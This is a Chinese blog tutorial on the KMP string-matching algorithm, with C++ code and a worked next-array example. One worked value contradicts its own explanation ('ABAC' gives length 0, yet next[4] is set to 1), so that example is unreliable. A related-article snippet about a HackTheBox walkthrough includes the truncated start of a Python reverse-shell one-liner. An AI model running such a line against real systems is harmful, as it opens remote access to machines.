字符串 | 字符串匹配之 KMP 算法以及 C++ 代码实现

目录

    • 1 为什么使用 KMP?
    • 2 什么是 next 数组?
      • 2.1 什么是字符串的前后缀?
      • 2.2 如何计算 next 数组?
    • 3 KMP 部分的算法
    • 4 完整代码


😈前言:这篇文章比较长,但我感觉自己是讲明白了的



1 为什么使用 KMP?

答:参与字符串匹配的两个串分别叫 “主串” 和 “模式串”。在朴素字符串匹配中,若主串 s[i] 不等于模式串 p[j],那么需要主串和模式串都回溯到开头,模式串要从主串的下一个字符开始重新匹配。KMP 算法之所以被提出,是因为它不需要主串回溯,且只需要模式串部分回溯,节省了很多不必要也不可能成功的匹配操作。



2 什么是 next 数组?

next 数组是 KMP 算法中的一个辅助工具,我们只需要知道它是什么,以及它是怎么被计算出来的即可。

  • 定义:next 数组的值代表的是字符串的前缀与后缀相同的最大长度。


2.1 什么是字符串的前后缀?

前缀和后缀的定义:

  • 前缀:除最后一个字符以外的,字符串的所有头部子串;
  • 后缀:除第一个字符以外的,字符串的所有尾部子串;

强调:不管是前缀还是后缀,字符都是按从左往右的顺序数的!

假设有如下的字符串:

在这里插入图片描述

  • 设 next[0] = -1;
  • “A” 的前缀和后缀都为空集,共有元素的长度为 0,设 next[1] = 0;
  • “AB” 的前缀为 [A],后缀为 [B],共有元素的长度为 0,设 next[2] = 0;
  • “ABA” 的前缀为 [A, AB],后缀为 [BA, A],共有元素的长度为 1,设 next[3] = 1;
  • “ABAC” 的前缀为 [A, AB, ABA],后缀为 [BAC, AC, C],共有元素的长度为 0,设 next[4] = 1;
  • 以此类推

说明:next[0] = -1 是 KMP 算法的特殊需求,到时候帮助模式串回溯到开头。

上述字符串的 next 数组如下:

在这里插入图片描述

可以看出,字符 “D” 对应的 next 值是 0,即字符串 “ABAC” 的前缀与后缀相同的最大长度。

我主要想强调的是,每个字符对应的 next 值,是该字符之前的字符串的前缀与后缀相同的最大长度,并不包含该字符。



2.2 如何计算 next 数组?

直接上代码:

vector<int> getNextArr(string p) {
  vector<int> next(p.size(), 0);

  int i = -1, j = 0;
  next[0] = -1;

  while (j < p.size() - 1) {
    if (i == -1 || p[i] == p[j]) {
      ++i;
      ++j;
      next[j] = i;
    } else {
      i = next[i];
    }
  }

  return next;
}

我们很自然地想到使用 i 和 j 一前一后两个指针来完成字符串的匹配,因此定义 i = -1 和 j = 0 作为初始值。

① 情况一:当 i = -1 时

说明匹配还没有开始,因为 i 还没有指向任何字符。因此我们让 i 和 j 均右移一格,分别指向两个字符。根据 2.1 节介绍的规则,因为由一个字符构成的字符串是没有前后缀的,所以 next 的值为 0:

next[j] = i;  // j=1, i=0

② 情况二:当 p[i] == p[j] 时

说明 i 和 j 指向的字符相同。因此我们也让 i 和 j 均右移一格,分别指向两个新的字符。同时,使用以下代码计算 next 的值:

next[j] = i;

说明:不管是情况一还是情况二,i 的值其实都代表的是已经匹配了的前后缀长度。因为只有匹配了,i 才会向右移嘛!

③ 情况三:最恶心的 else 情况

说明匹配已经开始了,但 i 和 j 指向的字符不同。比如,下图所代表的时刻:

在这里插入图片描述

其中,绿色部分和黄色部分代表的是 “ABACDABA” 这个字符串中成功匹配的部分。

虽然在这种情况下匹配失败了,但是我们可以考虑比该情况更差的情况。也就是说,字符串 “ABACDABA” 中匹配的长度是 3,但如果我们再纳入 j 指向的字符 “B”,是没有办法再续辉煌的!即没有办法在已匹配部分 “ABA” 的基础上再加 1!

但是我们可以考虑字符串 “ABACDABA” 中匹配长度为 2 的部分,看看该部分是否有机会在加上 “B” 后仍然匹配。

我来具体讲一下上述思路,可以参考下图:

在这里插入图片描述

其中 ① 是最理想的情况,即最长匹配部分 “ABA” 分别加上 i 指向的字符和 j 指向的字符后仍然匹配,但显然在上述例子中是不匹配的。那么我们接着考虑匹配长度比 3 小的情况。情况 ② 是根本不会被考虑的,因为前缀 “AB” 和后缀 “BA” 根本不匹配。再来看情况 ③,前缀 “A” 和后缀 “A” 匹配,同时 i 指向的字符和 j 指向的字符相同。因此,我们捡漏到了一种匹配的情况!

刚才我们有提到 “情况 ② 是根本不会被考虑的”,那么 KMP 算法具体是如何规避的呢?核心是如下代码:

i = next[i];

最初,我觉得简直无法理解,但经过上述分析后我恍然大悟!请看下图:

在这里插入图片描述

针对情况 ①,一个重要的信息是绿色部分和黄色部分是完全相同的!我们可以把 “找两个 ‘ABA’ 之间更短的匹配部分” 转换为 “找一个 ‘ABA’ 中的匹配部分”!又由于绿色部分的匹配长度在此前已经被计算出了,等于 next[i] 的值,即 “C” 前面的字符串 “ABA” 中前后缀的最大匹配长度。因此,我们可以直接让 i 指针飞到 next[i] 处,即从情况 ① 飞到情况 ③:

在这里插入图片描述

飞到情况 ③ 后,前缀 “A” 和后缀 “A” 是匹配的,原因我们刚才已经分析过了。接下来就看 “A” 分别加上 i 指向的字符和 j 指向的字符后是否仍然匹配了。

以上就是对计算 next 数组的代码的全部分析!



3 KMP 部分的算法

直接上代码:

int kmp(string s, string p) {
  vector<int> next = getNextArr(p);

  int n = s.size();
  int m = p.size();

  int i = 0, j = 0;
  while (i < n && j < m) {
    if (j == -1 || s[i] == p[j]) {
      ++i;
      ++j;
    } else {
      j = next[j];
    }
  }

  if (j == m) {
    return i - m;
  }

  return -1;
}

其中 i 是主串 s 的指针,j 是模式串 p 的指针。

① 情况一:当 s[i] == p[j] 时

说明 i 和 j 指向的字符相同。因此我们也让 i 和 j 均右移一格,分别指向两个新的字符。

这是最简单易懂的情况。

② 情况二:else 情况

说明 i 和 j 指向的字符不同,但还有拯救的希望。参见下图的例子:

在这里插入图片描述

先看情况 ①,其中的绿色部分和黄色部分(深浅部分都包括)代表主串和模式串匹配的部分。特别地,深色部分代表主串和模式串自己内部的匹配部分。如上图所示,i 和 j 指向的字符不同,如果是朴素字符串匹配算法,那么两个指针都得回到开头以重新进行匹配。而在 KMP 算法中,主串不需要回溯,而模式串也只需要回溯一部分。

与 2.2 节的分析相同,既然我们没有办法让 “CACCA” 分别加上 i 和 j 指向的字符后仍然相同,那么我们可以考虑一个比它短的部分,即绿色部分的一个后缀。当然这个后缀不能乱选,我们还是得有一点依据。这个依据就是:绿色部分的后缀要和黄色部分的前缀一样!否则将无法匹配。

一个重要的信息是绿色部分和黄色部分是完全相同的!我们可以把 “找匹配的绿色部分后缀和和黄色部分前缀” 转换为 “找匹配的黄色部分后缀和和黄色部分前缀”!又由于我们先前为模式串计算了 next 数组,因此这是非常容易得到的!核心代码如下:

j = next[j];

参见情况 ①,next[j] 代表 j 指向的字符 “E” 前面的字符串 “CACCA” 中的前后缀匹配长度,同时代表满足要求的前缀的长度。因此,我们让 j 移动到 next[j],如情况 ② 所示。然后判断 “CA” 分别加上 i 和 j 指向的字符后是否仍然相同。

③ 情况三:当 j == -1 时

说明 i 和 j 指向的字符不同,且没有拯救的希望。具体来说,出现了多次情况二,导致 j 回溯到了 -1 位置。在这种情况下,i 和 j 均需要右移一格,以指向两个新的字符进行比较。

在情况二中,i 是不会移动的;在情况三中,由于 i 不移动就不会有匹配的希望,因此 i 也需要移动。



4 完整代码

#include <bits/stdc++.h>

using namespace std;

vector<int> getNextArr(string p) {
  vector<int> next(p.size(), 0);

  int i = -1, j = 0;
  next[0] = -1;

  while (j < p.size() - 1) {
    if (i == -1 || p[i] == p[j]) {
      ++i;
      ++j;
      next[j] = i;
    } else {
      i = next[i];
    }
  }

  return next;
}

int kmp(string s, string p) {
  vector<int> next = getNextArr(p);

  int n = s.size();
  int m = p.size();

  int i = 0, j = 0;
  while (i < n && j < m) {
    if (j == -1 || s[i] == p[j]) {
      ++i;
      ++j;
    } else {
      j = next[j];
    }
  }

  if (j == m) {
    return i - m;
  }

  return -1;
}

int main() {
  string s = "aaaaa";
  string p = "bba";
  vector<int> next = getNextArr(p);
  
  for (auto & n : next) {
    cout << n << ' ';
  }

  cout << kmp(s, p);

  return 0;
}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/666699.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

迈的普拉姆利普绘图:深入解析与实战应用

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、引言&#xff1a;matplotlib绘图的基本原理 代码案例 二、深入了解&#xff1a;matplo…

Android更新优化 - 增量更新是如何节省用户时间和流量的

增量更新和全量更新 我想玩过大型手游的人都知道&#xff0c;手游的安装包非常大&#xff0c;因为资源图片众多。而你每次更新都把所有文件都更新下来&#xff0c;是非常耗时的&#xff0c;对吧。耗时是一个方面&#xff0c;有些人在户外开的是移动网络&#xff0c;动不动就几…

vue3 侦听器

侦听器示例 计算属性允许我们声明性地计算衍生值。然而在有些情况下&#xff0c;我们需要在状态变化时执行一些“副作用”&#xff1a;例如更改 DOM&#xff0c;或是根据异步操作的结果去修改另一处的状态。 在组合式 API 中&#xff0c;我们可以使用 watch 函数在每次响应式…

模型构建器之迭代器

上一篇我们介绍了模型构建器的基础&#xff0c;将一个工作流串联起来&#xff0c;然后做成模型工具。今天我们介绍模型构建器的第二个重要功能——迭代&#xff0c;也就是程序中的循环。 先来看一个例子。要给数据库中所有要素类添加一个相同的字段&#xff0c;该怎么做&#…

Diffusion Model, Stable Diffusion, Stable Diffusion XL 详解

文章目录 Diffusion Model生成模型DDPM概述向前扩散过程前向扩散的逐步过程前向扩散的整体过程 反向去噪过程网络结构训练和推理过程训练过程推理过程优化目标 详细数学推导数学基础向前扩散过程反向去噪过程 Stable Diffusion组成结构运行流程网络结构变分自编码器 (VAE)文本编…

ctfshow-web入门-信息搜集(web1-web10)

勇师傅还是想打 CTF 目录 1、web1 2、web2 3、web3 4、web4 5、web5 6、web6 7、web7 8、web8 9、web9 10、web10 1、web1 开发注释未及时删除 F12 看源码 拿到 flag&#xff1a;ctfshow{99854d7a-54a2-491a-8626-d5bfe7b5c2ca} 2、web2 js前台拦截 无效操作 按 F12 …

分享 ASP.NET Core Web Api 中间件获取 Request Body 两个方法

不废话&#xff0c;直接上正文。_ 方法一 思路&#xff1a;利用 BodyReader 直接读取 HttpContext 的 Request Body&#xff0c;再反序列化 var reqStream context.Request.BodyReader.AsStream(); var jsonObj JsonSerializer.Deserialize<CheckAndParsingMiddlewareM…

5.25.1 用于组织病理学图像分类的深度注意力特征学习

提出了一种基于深度学习的组织病理学图像分类新方法。我们的方法建立在标准卷积神经网络 (CNN) 的基础上,并结合了两个独立的注意力模块,以实现更有效的特征学习。 具体而言,注意力模块沿不同维度推断注意力图,这有助于将 CNN 聚焦于关键图像区域,并突出显示判别性特征通…

Xilinx IP解析之DDS Compiler v6.0(1)—— 基础概念

前言 DDS&#xff08;Direct Digital Synthesis&#xff0c;直接数字综合器&#xff09;是一种正弦波发生器&#xff0c;在Quartus中它被称为NCO&#xff08;Numerically Controlled Oscillator&#xff0c;数控振荡器&#xff09;&#xff0c;两者是对同一功能IP核的不同称呼。…

VS2017中使用qt翻译家,除ui界面外其他用tr包裹的字符串在翻译家中显示为乱码

1、ui界面中的中文,可以正常显示 2、其他用tr包裹的字符串,显示为乱码 3、解决 改为utf8保存。 然后更新翻译文件,重新打开发现已经ok了。 参考博客: https://blog.csdn.net/zhou714534957/article/details/124948822 https://blog.csdn.net/weixin_52689816/article/d…

【如何用爬虫玩转石墨文档?】

&#x1f3a5;博主&#xff1a;程序员不想YY啊 &#x1f4ab;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f917;点赞&#x1f388;收藏⭐再看&#x1f4ab;养成习惯 ✨希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出…

【全开源】教育系统(FastAdmin+ThinkPHP+Uniapp)

一款基于FastAdminThinkPHPUniapp开发的西陆教育系统&#xff08;微信小程序、移动端H5、安卓APP、IOS-APP&#xff09;&#xff0c;支持线上线下课程报名&#xff0c;线上课程支持视频课程、音频课程、图文课程、课程在线支付。 塑造教育未来的基石 引言&#xff1a;教育系统…

Fully Convolutional Networks for Semantic Segmentation--论文笔记

论文笔记 资料 1.代码地址 2.论文地址 https://arxiv.org/abs/1411.4038 3.数据集地址 论文摘要的翻译 卷积网络是强大的视觉模型&#xff0c;可以产生特征层次结构。我们表明&#xff0c;卷积网络本身&#xff0c;经过端到端&#xff0c;像素对像素的训练&#xff0c;在…

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…

【SpringBoot】JWT+Token之Token自动续期

目录 回顾一下JWT基于JWT的认证流程安全性性能一次性 Token过期影响解决智障思路分析 token定时检查续期思路分析大致代码问题 双token【重点】思路分析补充微信网页授权方案 实现1.依赖2.配置3.拦截器及配置4.其他类5.token映射类6.jwt工具类7.controller类8.测试 总结双token…

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

模型 FABE(特性 优势 好处 证据)法则

说明&#xff1a;系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。特性、优势、好处、证据&#xff0c;一气呵成。 1 FABE法则的应用 1.1 FABE法则营销商用跑步机 一家高端健身器材公司的销售代表正在向一家新开的健身房推销他们的商用跑步机。以下…

腾讯元宝眼中的我,竟是一个变现20w的AI博主!

文章首发于公众号&#xff1a;X小鹿AI副业 大家好&#xff0c;我是程序员X小鹿&#xff0c;前互联网大厂程序员&#xff0c;自由职业2年&#xff0c;也一名 AIGC 爱好者&#xff0c;持续分享更多前沿的「AI 工具」和「AI副业玩法」&#xff0c;欢迎一起交流~ 昨天&#xff08;5…

工厂模式详情

一.介绍工厂模式的用途与特点 工厂方法模式是一种创建型设计模式&#xff0c; 其在父类中提供一个创建对象的方法&#xff0c; 允许子类决定实例化对象的类型。定义工厂方法模式(Fatory Method Pattern)是指定义一个创建对象的接口&#xff0c;但让实现这个接口的类来决定实例…

FasterRCNN入门案例水稻图像目标检测新手友好入门案例

目录 依赖环境 代码概述 引用库 读取数据指定目录 数据集划分 数据集加载Dataset类 特征增强处理 预训练模型定义 评估指标定义 实例化训练集和测试集 设置硬件调取一个batch 可视化 ​编辑 激活选定硬件&#xff0c;初始化损失函数参数 模型训练 模型测试和验…